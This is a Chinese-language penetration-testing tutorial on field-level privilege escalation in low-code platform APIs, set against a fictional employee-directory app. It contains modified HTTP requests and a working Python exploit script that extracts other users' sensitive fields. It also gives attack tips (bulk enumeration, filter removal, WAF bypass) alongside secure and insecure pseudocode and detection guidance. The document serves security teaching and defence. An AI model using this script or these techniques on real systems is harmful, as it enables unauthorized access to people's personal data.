前言
低代码/无代码(LCAP/NCAP)平台已成为企业数字化转型的核心引擎,通过图形化界面和预构建模板降低了开发门槛。然而,这种'开发民主化'也引入了新的攻击面。平台的通用安全缺陷往往源于核心架构、组件封装和权限模型的共性问题,一旦被利用,可能导致数据泄露或环境沦陷。
一、低代码/无代码平台概述
1. 精确定义
低代码/无代码开发平台允许用户通过图形化界面、拖拽组件和模型驱动逻辑创建应用程序,无需或少量手写代码。其核心是将用户的图形化配置翻译成可执行的机器指令。
2. 技术本质
所有低代码平台都在做核心工作:将配置转换为代码。理解其技术本质是掌握原理和发掘缺陷的关键。下图展示了通用架构和数据流转过程:
sequenceDiagram
participant User as 用户
participant Frontend as 前端渲染引擎
participant API as API 网关/BFF
participant Core as 核心配置解析器
participant DB as 数据库/第三方服务
User->>Frontend: GUI 操作
Frontend->>API: 生成配置 JSON 请求
API->>Core: 认证与访问控制
Core->>DB: 动态查询/更新
DB-->>Core: 返回数据
Core-->>API: 响应结果
API-->>Frontend: 渲染展示
图解核心机制:用户的设计操作被转换成一份描述页面结构和逻辑的配置 JSON。当用户与最终应用交互时,前端根据这些配置向后端通用 API 端点发送请求。后端核心引擎解析请求,动态执行操作。攻击的关键在于绕过前端 UI 限制,直接与高度模式化的后端 API 交互,并利用设计上的通用缺陷。
二、测试环境准备
为了复现攻击场景,需要目标应用和 Web 分析工具。以虚构的'企业员工信息查询'低代码应用为例。
- 目标应用:内部应用,员工可查询基本信息,敏感信息仅对自己可见。
- 核心工具:Burp Suite / Fiddler / mitmproxy。
- 浏览器:Chrome / Firefox 最新版,安装代理切换插件。
核心配置步骤:
- 启动 Burp Suite:确认代理监听在
127.0.0.1:8080。 - 配置浏览器代理:设置 HTTP 代理为
127.0.0.1:8080。 - 安装 Burp 证书:浏览器访问
http://burp/下载并信任 CA 证书,以解密 HTTPS 流量。
警告:以下操作仅限在获得明确授权的测试环境中使用。未经授权的测试是非法行为。
三、核心实战:利用通用 API 实现水平越权查询
本节演示如何利用通用 API 设计缺陷,实现从普通用户权限到非法获取他人敏感信息的水平越权攻击。
场景:登录用户'张三'可查看同事'李四'的部门和工号,但无法查看手机号。目标是获取李四的手机号。
步骤一:正常操作并捕获数据包
- 登录'张三'账号,查看'李四'个人信息。
- 在 Burp Suite 'HTTP history' 中查找相关 API 请求。低代码平台 API 通常命名规律,如
/api/v1/data/query。 - 观察请求体(Request Body),通常为结构化 JSON,包含表单 ID、字段、过滤条件等。
请求示例 (Request):
POST /api/v1/data/query HTTP/1.1
Host: lcap.example.com
Content-Type: application/json
Authorization: Bearer [JWT_TOKEN_FOR_ZHANGSAN]
{
"appId": "app-xxxxx",
"formId": "form-yyyyy",
"fieldKeys": ["name", "department", "employeeId"],
"filters": [
{
"fieldKey": "employeeId",
"operator": "eq",
"value": "1002"
}
]
}
响应示例 (Response):
{"code":200,"data":{"items":[{"name":"李四","department":"技术部","employeeId":"1002"}]}}
分析:前端通过 fieldKeys 参数请求非敏感字段,后端如实返回。敏感字段未被请求和返回。
步骤二:修改请求,尝试获取敏感字段
- 将请求发送到 Burp Repeater。
- 修改请求体 JSON,在
fieldKeys数组中添加猜测的敏感字段phoneNumber。
修改后的请求 (Request):
POST /api/v1/data/query HTTP/1.1
Host: lcap.example.com
Content-Type: application/json
Authorization: Bearer [JWT_TOKEN_FOR_ZHANGSAN]
{
"appId": "app-xxxxx",
"formId": "form-yyyyy",
"fieldKeys": ["name", "department", "employeeId", "phoneNumber"],
"filters": [
{
"fieldKey": "employeeId",
"operator": "eq",
"value": "1002"
}
]
}
步骤三:分析响应,确认漏洞
漏洞存在时的响应 (Response):
{"code":200,"data":{"items":[{"name":"李四","department":"技术部","employeeId":"1002","phoneNumber":"13800138000"}]}}
结论:如果后端返回了 phoneNumber 字段,证明存在典型的水平越权漏洞。根源在于后端 API 仅校验了用户是否有权访问该'表单',但未对'字段'进行二次权限校验。平台过度信任来自前端的请求参数。
步骤四:编写自动化利用脚本
以下是一个 Python 脚本,用于自动化执行上述攻击。
# -*- coding: utf-8 -*-
import requests
import json
import argparse
# -------------------------------------------------------------------
# 警告:本脚本仅用于授权安全测试环境。
# 未经授权的渗透测试属于违法行为,请遵守相关法律法规。
# -------------------------------------------------------------------
def exploit_lcap_data_leak(target_url, auth_token, app_id, form_id, target_employee_id, sensitive_fields):
"""
自动化利用低代码平台通用 API 的字段级越权漏洞。
:param target_url: 目标 API 端点
:param auth_token: 攻击者(普通用户)的认证 Token
:param app_id: 目标应用的 ID
:param form_id: 目标表单的 ID
:param target_employee_id: 要查询的目标员工工号
:param sensitive_fields: 尝试要获取的敏感字段列表
:return: 成功获取的数据或错误信息
"""
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {auth_token}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
base_fields = ["name", "department", "employeeId"]
exploit_fields = list(set(base_fields + sensitive_fields))
payload = {
"appId": app_id,
"formId": form_id,
"fieldKeys": exploit_fields,
"filters": [{"fieldKey": "employeeId", "operator": "eq", "value": target_employee_id}]
}
try:
print(f"[+] 正在向 {target_url} 发送恶意请求...")
response = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=10, verify=False)
response.raise_for_status()
result = response.json()
if result.get("code") == 200 and "data" in result and "items" in result["data"]:
items = result["data"]["items"]
if not items:
return "[!] 查询成功,但未找到匹配该工号的员工。"
leaked_data = items[0]
print("[SUCCESS] 成功获取到数据!")
found_sensitive = False
for field in sensitive_fields:
if field in leaked_data:
print(f" - 泄露字段 '{field}': {leaked_data[field]}")
found_sensitive = True
if not found_sensitive:
print("[INFO] API 调用成功,但响应中未包含请求的敏感字段,可能已被修复或字段名不正确。")
return json.dumps(leaked_data, indent=2, ensure_ascii=False)
else:
return f"[ERROR] API 返回异常:{response.text}"
except requests.exceptions.RequestException as e:
return f"[FATAL] 请求失败:{e}"
except json.JSONDecodeError:
return "[FATAL] 无法解析响应内容:response.text"
except Exception as e:
return f"[FATAL] 发生未知错误:{e}"
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="低代码平台通用 API 越权漏洞利用工具。")
parser.add_argument("--url", required=True, help="目标 API 的 URL。")
parser.add_argument("--token", required=True, help="认证 Token。")
parser.add_argument("--app-id", required=True, help="应用 ID。")
parser.add_argument("--form-id", required=True, help="表单 ID。")
parser.add_argument("--target-id", required=True, help="目标员工工号。")
parser.add_argument("--fields", required=True, nargs='+', help="要尝试泄露的敏感字段列表,以空格分隔。")
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
args = parser.parse_args()
result_output = exploit_lcap_data_leak(
target_url=args.url,
auth_token=args.token,
app_id=args.app_id,
form_id=args.form_id,
target_employee_id=args.target_id,
sensitive_fields=args.fields
)
print("\n--- 结果 ---")
print(result_output)
四、进阶利用技巧
1. 常见错误与排查
- 字段名猜解错误:尝试通过查看其他表单、开发者文档或前端 JS 源码寻找线索。
- Token 失效:检查 Token 是否过期,需重新登录获取。
- API 端点变化:不同平台路径可能不同,如
data/query,form/getData等。
2. 性能与成功率优化
- 批量验证:增加循环测试多个目标 ID 和字段组合。
- 无过滤条件查询:尝试移除
filters参数,看是否能触发全量数据泄露。 - 利用其他操作符:测试
ne,contains,gt等操作符,可能绕过简单防御。
3. 对抗与绕过思路
- WAF 绕过:尝试编码、大小写混淆或使用平台内部字段 ID。
- 权限边界探测:尝试查询当前表单无关但存在于其他表单的敏感字段。
- 利用 GraphQL 端点:GraphQL 内省查询可帮助获取所有可用数据类型和字段。
五、防御策略与加固
安全的核心在于闭环。发现问题是为了更好地解决问题。
1. 错误写法 vs 正确写法(平台视角)
正确写法(伪代码):
function queryData(request) {
// 1. 校验用户是否有权访问 request.formId
if (!checkFormPermission(request.user, request.formId)) {
return "Permission Denied";
}
// 2. 获取该用户在该表单下被授权访问的所有字段
let authorizedFields = getAuthorizedFieldsForUser(request.user, request.formId);
// 3. 对前端请求的字段列表进行交集运算,只查询授权范围内的字段
let fieldsToQuery = intersection(request.fieldKeys, authorizedFields);
if (fieldsToQuery.length === 0 && request.fieldKeys.length > 0) {
logSecurityEvent("Attempt to access unauthorized fields", request.user);
}
let filters = request.filters;
// 4. 查询数据库
return db.select(fieldsToQuery).from(request.formId).where(filters);
}
错误写法(伪代码):
function queryData(request) {
if (!checkFormPermission(request.user, request.formId)) {
return "Permission Denied";
}
// 直接使用前端传入的字段列表进行查询
let fieldsToQuery = request.fieldKeys;
let filters = request.filters;
return db.select(fieldsToQuery).from(request.formId).where(filters);
}
2. 风险提示
- 对于使用者(开发者):不要假设平台是绝对安全的。处理敏感数据的应用应进行独立的安全测试。
- 对于平台提供商:必须将'零信任'原则贯彻到 API 设计中,永远不要信任来自客户端的任何参数。
3. 运维侧加固方案
- API 网关防护:部署 WAF,配置针对性虚拟补丁,检测请求中是否包含当前用户角色无权访问的敏感字段。
- 行为异常检测:监控 API 调用日志,通过 UEBA 检测异常,如短时间内大量请求不同用户的敏感信息。
4. 日志检测线索
- 请求体与响应体不匹配:API 请求的
fieldKeys列表与响应中实际返回的字段列表不一致。 - 高频查询不同主体:一个用户 ID 在短时间内,其查询请求中的
filters值频繁变化。 - 非常规字段请求:日志中出现对
fieldKeys的请求,而这些字段在前端应用的任何正常视图中都未被配置。
总结
本文系统性地剖析了低代码/无代码平台的通用安全缺陷,并通过核心实战案例,展示了从漏洞发现到自动化利用的全过程。
- 核心知识:低代码平台最大的通用安全风险之一,在于其后端通用 API 对前端传入参数(尤其是
fieldKeys)的过度信任,导致了字段级的水平越权和数据泄露。 - 使用场景:该攻击模式适用于对绝大多数主流低代码平台构建的应用进行安全评估,是渗透测试和红蓝对抗中的一个高效切入点。
- 防御要点:防御的核心在于后端必须对每一次 API 请求中的所有参数(特别是字段权限)进行独立的、与当前用户会话绑定的权限校验,实现服务器端的纵深防御。
- 知识体系连接:这个漏洞本质上是 Web 安全经典漏洞'不安全的直接对象引用(IDOR)'在低代码这一新场景下的变体和延伸。
- 进阶方向:除了本文探讨的越权查询,还应深入研究逻辑注入、数据篡改、身份认证绕过以及平台自身管理后台的安全性等更深层次的议题。

